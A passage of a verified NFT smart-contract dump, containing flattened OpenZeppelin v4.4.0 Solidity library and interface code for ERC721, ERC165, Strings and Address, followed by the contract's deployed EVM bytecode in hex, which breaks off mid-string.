_checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102465760003560e01c806359a7715a11610139578063810dedd7116100b6578063b88d4fde1161007a578063b88d4fde146108e1578063c87b56dd1461090a578063d547cfb714610947578063e985e9c514610972578063f2fde38b146109af578063f71c4066146109d857610246565b8063810dedd7146107fc578063864698dd146108255780638da5cb5b1461086257806395d89b411461088d578063a22cb465146108b857610246565b80636d361694116100fd5780636d3616941461070357806370a0823114610740578063715018a61461077d57806374e6a469146107945780637ac9b8ad146107d157610246565b806359a7715a146105f65780635d893ba014610621578063621a1f741461064c5780636352211e146106895780636a030ca9146106c657610246565b806342842e0e116101c75780634f6ccce71161018b5780634f6ccce7146105255780635057afb41461056257806352b50a2a1461058b57806355f804b3146105a25780635795f755146105cb57610246565b806342842e0e1461041c57806342966c6814610445578063438b63001461046e57806348cf1eef146104ab5780634d7c2fd9146104e857610246565b806318160ddd1161020e57806318160ddd1461034457806323b872dd1461036f5780632f745c591461039857806332cb6b0c146103d557806340c10f191461040057610246565b806301ffc9a71461024b57806306fdde0314610288578063081812fc146102b3578063095ea7b3146102f057806309d42b3014610319575b600080fd5b34801561025757600080fd5b50610272600480360381019061026d919061357b565b610a19565b60405161027f9190613cd8565b60405180910390f35b34801561029457600080fd5b5061029d610a2b565b6040516102aa9190613d61565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d5919061361e565b610abd565b6040516102e79190613c4f565b60405180910390f35b3480156102fc57600080fd5b506103176004803603810190610312919061350e565b610b42565b005b34801561032557600080fd5b5061032e610c5a565b60405161033b91906140e3565b60405180910390f35b34801561035057600080fd5b50610359610c5f565b60405161036691906140e3565b60405180910390f35b34801561037b57600080fd5b50610396600480360381019061039191906133f8565b610c6c565b005b3480156103a457600080fd5b506103bf60048036038101906103ba919061350e565b610ccc565b6040516103cc91906140e3565b60405180910390f35b3480156103e157600080fd5b506103ea610d71565b6040516103f791906140e3565b60405180910390f35b61041a6004803603810190610415919061350e565b610d77565b005b34801561042857600080fd5b50610443600480360381019061043e91906133f8565b610f70565b005b34801561045157600080fd5b5061046c6004803603810190610467919061361e565b610f90565b005b34801561047a57600080fd5b506104956004803603810190610490919061338b565b610fec565b6040516104a29190613cb6565b60405180910390f35b3480156104b757600080fd5b506104d260048036038101906104cd919061361e565b61109a565b6040516104df91906140e3565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a919061361e565b6110f2565b60405161051c91906140e3565b60405180910390f35b34801561053157600080fd5b5061054c6004803603810190610547919061361e565b611116565b60405161055991906140e3565b60405180910390f35b34801561056e57600080fd5b506105896004803603810190610584919061350e565b611187565b005b34801561059757600080fd5b506105a06112d1565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906135d5565b611408565b005b3480156105d757600080fd5b506105e061149e565b6040516105ed91906140e3565b60405180910390f35b34801561060257600080fd5b5061060b6114a9565b60405161061891906140e3565b60405180910390f35b34801561062d57600080fd5b506106366114b8565b6040516106439190613cd8565b60405180910390f35b34801561065857600080fd5b50610673600480360381019061066e919061361e565b6114cb565b6040516106809190613cf3565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab919061361e565b6114e3565b6040516106bd9190613c4f565b60405180910390f35b3480156106d257600080fd5b506106ed60048036038101906106e8919061361e565b611595565b6040516106fa91906140e3565b60405180910390f35b34801561070f57600080fd5b5061072a6004803603810190610725919061361e565b6115b9565b60405161073791906140e3565b60405180910390f35b34801561074c57600080fd5b506107676004803603810190610762919061338b565b611611565b60405161077491906140e3565b60405180910390f35b34801561078957600080fd5b506107926116c9565b005b3480156107a057600080fd5b506107bb60048036038101906107b6919061361e565b611751565b6040516107c891906140e3565b60405180910390f35b3480156107dd57600080fd5b506107e6611788565b6040516107f39190613d61565b60405180910390f35b34801561080857600080fd5b50610823600480360381019061081e919061354e565b6117a4565b005b34801561083157600080fd5b5061084c6004803603810190610847919061361e565b61183d565b60405161085991906140e3565b60405180910390f35b34801561086e57600080fd5b50610877611880565b6040516108849190613c4f565b60405180910390f35b34801561089957600080fd5b506108a26118aa565b6040516108af9190613d61565b60405180910390f35b3480156108c457600080fd5b506108df60048036038101906108da91906134ce565b61193c565b005b3480156108ed57600080fd5b506109086004803603810190610903919061344b565b611952565b005b34801561091657600080fd5b50610931600480360381019061092c919061361e565b6119b4565b60405161093e9190613d61565b60405180910390f35b34801561095357600080fd5b5061095c611a5b565b6040516109699190613d61565b60405180910390f35b34801561097e57600080fd5b50610999600480360381019061099491906133b8565b611ae9565b6040516109a69190613cd8565b60405180910390f35b3480156109bb57600080fd5b506109d660048036038101906109d1919061338b565b611b7d565b005b3480156109e457600080fd5b506109ff60048036038101906109fa919061361e565b611c75565b604051610a10959493929190613d0e565b60405180910390f35b6000610a2482611ce1565b9050919050565b606060008054610a3a906143e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a66906143e1565b8015610ab35780601f10610a8857610100808354040283529160200191610ab3565b820191906000526020600020905b815481529060010190602001808311610a9657829003601f168201915b5050505050905090565b6000610ac882611d5b565b610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90613f43565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b4d826114e3565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb590613fc3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bdd611dc7565b73ffffffffffffffffffffffffffffffffffffffff161480610c0c5750610c0b81610c06611dc7565b611ae9565b5b610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290613ea3565b60405180910390fd5b610c558383611dcf565b505050565b601481565b6000600880549050905090565b610c7d610c77611dc7565b82611e88565b610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390614003565b60405180910390fd5b610cc7838383611f66565b505050565b6000610cd783611611565b8210610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f90613da3565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61271081565b6000610d816121c2565b9050600d60009054906101000a900460ff16610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc990613d83565b60405180910390fd5b6127108282610de1919061420c565b1115610e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1990614083565b60405180910390fd5b612710811115610e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5e906140a3565b60405180910390fd5b60008211610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190613f03565b60405180910390fd5b6014821115610eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee590613dc3565b60405180910390fd5b81668e1bc9bf040000610f019190614293565b341015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a90614063565b60405180910390fd5b60005b82811015610f6a57610f57846121d3565b8080610f6290614444565b915050610f46565b50505050565b610f8b83838360405180602001604052806000815250611952565b505050565b610fa1610f9b611dc7565b82611e88565b610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd7906140c3565b60405180910390fd5b610fe98161224e565b50565b60606000610ff983611611565b905060008167ffffffffffffffff811115611017576110166145e1565b5b6040519080825280602002602001820160405280156110455781602001602082028036833780820191505090505b50905060005b8281101561108f5761105d8582610ccc565b8282815181106110705761106f6145b2565b5b602002602001018181525050808061108790614444565b91505061104b565b508092505050919050565b600080600e60008481526020019081526020016000205460001c9050600060108080549050836110ca91906144c5565b815481106110db576110da6145b2565b5b906000526020600020015490508092505050919050565b6010818154811061110257600080fd5b906000526020600020016000915090505481565b6000611120610c5f565b8210611161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115890614043565b60405180910390fd5b60088281548110611175576111746145b2565b5b90600052602060002001549050919050565b61118f611dc7565b73ffffffffffffffffffffffffffffffffffffffff166111ad611880565b73ffffffffffffffffffffffffffffffffffffffff1614611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90613f63565b60405180910390fd5b600061120d6121c2565b9050612710828261121e919061420c565b111561125f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125690614023565b60405180910390fd5b6127108111156112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b906140a3565b60405180910390fd5b60005b828110156112cb576112b8846121d3565b80806112c390614444565b9150506112a7565b50505050565b6112d9611dc7565b73ffffffffffffffffffffffffffffffffffffffff166112f7611880565b73ffffffffffffffffffffffffffffffffffffffff161461134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490613f63565b60405180910390fd5b6000479050600033905060008173ffffffffffffffffffffffffffffffffffffffff168360405161137d90613bec565b60006040518083038185875af1925050503d80600081146113ba576040519150601f19603f3d011682016040523d82523d6000602084013e6113bf565b606091505b5050905080611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90613fe3565b60405180910390fd5b505050565b611410611dc7565b73ffffffffffffffffffffffffffffffffffffffff1661142e611880565b73ffffffffffffffffffffffffffffffffffffffff1614611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147b90613f63565b60405180910390fd5b80600c908051906020019061149a92919061319f565b5050565b668e1bc9bf04000081565b60006114b36121c2565b905090565b600d60009054906101000a900460ff1681565b600e6020528060005260406000206000915090505481565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390613ee3565b60405180910390fd5b80915050919050565b600f81815481106115a557600080fd5b906000526020600020016000915090505481565b600080600e60008481526020019081526020016000205460001c90506000600f8080549050836115e991906144c5565b815481106115fa576115f96145b2565b5b906000526020600020015490508092505050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611682576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167990613ec3565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116d1611dc7565b73ffffffffffffffffffffffffffffffffffffffff166116ef611880565b73ffffffffffffffffffffffffffffffffffffffff1614611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90613f63565b60405180910390fd5b61174f600061235f565b565b600080600e60008481526020019081526020016000205460001c90506000600a8261177c91906144c5565b90508092505050919050565b6040518060600160405280603b8152602001614d55603b913981565b6117ac611dc7565b73ffffffffffffffffffffffffffffffffffffffff166117ca611880565b73ffffffffffffffffffffffffffffffffffffffff1614611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613f63565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b6000806118498361109a565b90506000611856846115b9565b9050600061186385611751565b90506000611872848484612425565b905080945050505050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546118b9906143e1565b80601f01602080910402602001604051908101604052809291908181526020018280546118e5906143e1565b80156119325780601f1061190757610100808354040283529160200191611932565b820191906000526020600020905b81548152906001019060200180831161191557829003601f168201915b5050505050905090565b61194e611947611dc7565b8383612453565b5050565b61196361195d611dc7565b83611e88565b6119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199990614003565b60405180910390fd5b6119ae848484846125c0565b50505050565b60606119bf82611d5b565b6119fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f590613fa3565b60405180910390fd5b6000611a0861261c565b90506000815111611a285760405180602001604052806000815250611a53565b80611a32846126ae565b604051602001611a43929190613bc8565b6040516020818303038152906040525b915050919050565b600c8054611a68906143e1565b80601f0160208091040260200160405190810160405280929190818152602001828054611a94906143e1565b8015611ae15780601f10611ab657610100808354040283529160200191611ae1565b820191906000526020600020905b815481529060010190602001808311611ac457829003601f168201915b505050505081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611b85611dc7565b73ffffffffffffffffffffffffffffffffffffffff16611ba3611880565b73ffffffffffffffffffffffffffffffffffffffff1614611bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf090613f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6090613e03565b60405180910390fd5b611c728161235f565b50565b600080600080600080611c87876115b9565b90506000611c948861109a565b90506000611ca189611751565b90506000611cb0838584612425565b9050600e60008b81526020019081526020016000205484848484985098509850985098505050505091939590929450565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611d545750611d538261280f565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611e42836114e3565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e9382611d5b565b611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec990613e83565b60405180910390fd5b6000611edd836114e3565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f4c57508373ffffffffffffffffffffffffffffffffffffffff16611f3484610abd565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f5d5750611f5c8185611ae9565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f86826114e3565b73ffffffffffffffffffffffffffffffffffffffff1614611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd390613f83565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561204c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204390613e43565b60405180910390fd5b6120578383836128f1565b612062600082611dcf565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120b291906142ed565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612109919061420c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006121ce600b612901565b905090565b60006121dd6121c2565b9050600081426001436121f091906142ed565b40856040516020016122059493929190613c01565b60405160208183030381529060405280519060200120905080600e60008481526020019081526020016000208190555061223f600b61290f565b6122498383612925565b505050565b6000612259826114e3565b9050612267816000846128f1565b612272600083611dcf565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122c291906142ed565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffff